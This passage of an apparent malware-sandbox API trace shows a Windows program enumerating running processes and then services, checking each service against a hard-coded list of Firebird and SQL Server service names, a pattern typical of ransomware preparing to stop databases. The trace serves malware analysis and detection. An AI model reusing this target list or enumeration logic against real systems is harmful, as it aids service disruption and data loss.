hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0129.621] lstrlenW (lpString="circus.exe") returned 10 [0129.622] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0129.622] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0129.622] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0129.623] lstrlenW (lpString="das.exe") returned 7 [0129.623] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0129.624] lstrlenW (lpString="beam removable.exe") returned 18 [0129.624] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0129.625] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0129.625] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0129.627] lstrlenW (lpString="dome.exe") returned 8 [0129.627] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0129.628] lstrlenW (lpString="wiresjacket.exe") returned 15 [0129.628] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0129.629] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0129.629] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0129.630] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0129.630] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0129.631] lstrlenW (lpString="tested.exe") returned 10 [0129.631] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0129.632] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0129.632] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0129.634] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0129.634] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0129.635] lstrlenW (lpString="level.exe") returned 9 [0129.635] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0129.636] lstrlenW (lpString="dllhost.exe") returned 11 [0129.636] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.637] lstrlenW (lpString="conhost.exe") returned 11 [0129.637] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.638] lstrlenW (lpString="conhost.exe") returned 11 [0129.638] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.639] lstrlenW (lpString="svchost.exe") returned 11 [0129.639] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0129.640] lstrlenW (lpString="load0.exe") returned 9 [0129.640] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0129.641] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0129.641] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.642] lstrlenW (lpString="conhost.exe") returned 11 [0129.642] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0129.644] lstrlenW (lpString="cmd.exe") returned 7 [0129.644] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.645] lstrlenW (lpString="conhost.exe") returned 11 [0129.645] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.646] lstrlenW (lpString="svchost.exe") returned 11 [0129.646] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0129.660] CloseHandle (hObject=0x1028) returned 1 [0129.660] Sleep (dwMilliseconds=0x1f4) [0130.202] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3988 [0130.202] EnumServicesStatusExW (in: hSCManager=0x5e3988, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0130.203] GetLastError () returned 0xea [0130.203] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69bb60 [0130.203] EnumServicesStatusExW (in: hSCManager=0x5e3988, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bb60, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bb60, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0130.203] CloseServiceHandle (hSCObject=0x5e3988) returned 1 [0130.204] lstrlenW (lpString="Appinfo") returned 7 [0130.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0130.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0130.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0130.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0130.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0130.204] lstrlenW (lpString="AppXSvc") returned 7 [0130.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0130.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0130.204] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0130.204] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0130.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0130.204] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0130.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.204] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0130.204] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0130.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0130.204] lstrlenW (lpString="Audiosrv") returned 8 [0130.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0130.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0130.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0130.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0130.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0130.205] lstrlenW (lpString="BFE") returned 3 [0130.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0130.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0130.205] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0130.205] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0130.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0130.205] lstrlenW (lpString="BITS") returned 4 [0130.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0130.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0130.205] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0130.205] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0130.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0130.205] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0130.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0130.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0130.205] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0130.205] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0130.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0130.205] lstrlenW (lpString="CDPSvc") returned 6 [0130.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0130.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0130.205] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0130.205] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0130.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0130.205] lstrlenW (lpString="ClickToRunSvc") returned 13 [0130.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0130.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0130.205] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0130.205] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0130.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0130.206] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0130.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0130.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0130.206] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0130.206] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0130.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0130.206] lstrlenW (lpString="CryptSvc") returned 8 [0130.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0130.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0130.206] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0130.206] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0130.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0130.206] lstrlenW (lpString="DcomLaunch") returned 10 [0130.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.206] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0130.206] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0130.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0130.206] lstrlenW (lpString="DeviceAssociationService") returned 24 [0130.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0130.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0130.206] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0130.206] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0130.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0130.206] lstrlenW (lpString="Dhcp") returned 4 [0130.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0130.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0130.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0130.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0130.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0130.207] lstrlenW (lpString="Dnscache") returned 8 [0130.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0130.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0130.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0130.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0130.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0130.207] lstrlenW (lpString="DoSvc") returned 5 [0130.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0130.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0130.207] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0130.207] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0130.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0130.207] lstrlenW (lpString="DPS") returned 3 [0130.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0130.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0130.207] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0130.207] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0130.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0130.207] lstrlenW (lpString="DusmSvc") returned 7 [0130.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0130.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0130.207] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0130.207] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0130.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0130.207] lstrlenW (lpString="EventLog") returned 8 [0130.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0130.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0130.207] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0130.207] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0130.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0130.208] lstrlenW (lpString="EventSystem") returned 11 [0130.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0130.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0130.208] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0130.208] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0130.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0130.208] lstrlenW (lpString="FontCache") returned 9 [0130.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0130.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0130.208] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0130.208] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0130.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0130.208] lstrlenW (lpString="gpsvc") returned 5 [0130.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0130.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0130.208] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0130.208] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0130.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0130.208] lstrlenW (lpString="iphlpsvc") returned 8 [0130.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.208] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0130.208] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0130.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0130.208] lstrlenW (lpString="KeyIso") returned 6 [0130.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0130.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0130.209] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0130.209] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0130.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0130.209] lstrlenW (lpString="LanmanServer") returned 12 [0130.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0130.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0130.209] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0130.209] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0130.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0130.209] lstrlenW (lpString="LanmanWorkstation") returned 17 [0130.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.209] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0130.209] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0130.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0130.209] lstrlenW (lpString="lfsvc") returned 5 [0130.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0130.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0130.209] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0130.209] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0130.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0130.209] lstrlenW (lpString="lmhosts") returned 7 [0130.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0130.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0130.209] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0130.209] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0130.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0130.209] lstrlenW (lpString="LSM") returned 3 [0130.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0130.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0130.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0130.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0130.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0130.210] lstrlenW (lpString="MapsBroker") returned 10 [0130.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0130.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0130.210] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0130.210] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0130.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0130.210] lstrlenW (lpString="MpsSvc") returned 6 [0130.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0130.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0130.210] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0130.210] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0130.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0130.210] lstrlenW (lpString="NcbService") returned 10 [0130.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0130.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0130.210] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0130.210] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0130.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0130.210] lstrlenW (lpString="netprofm") returned 8 [0130.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0130.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0130.210] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0130.210] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0130.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0130.210] lstrlenW (lpString="NlaSvc") returned 6 [0130.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0130.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0130.211] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0130.211] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0130.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0130.211] lstrlenW (lpString="nsi") returned 3 [0130.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0130.211] lstrcmpiW 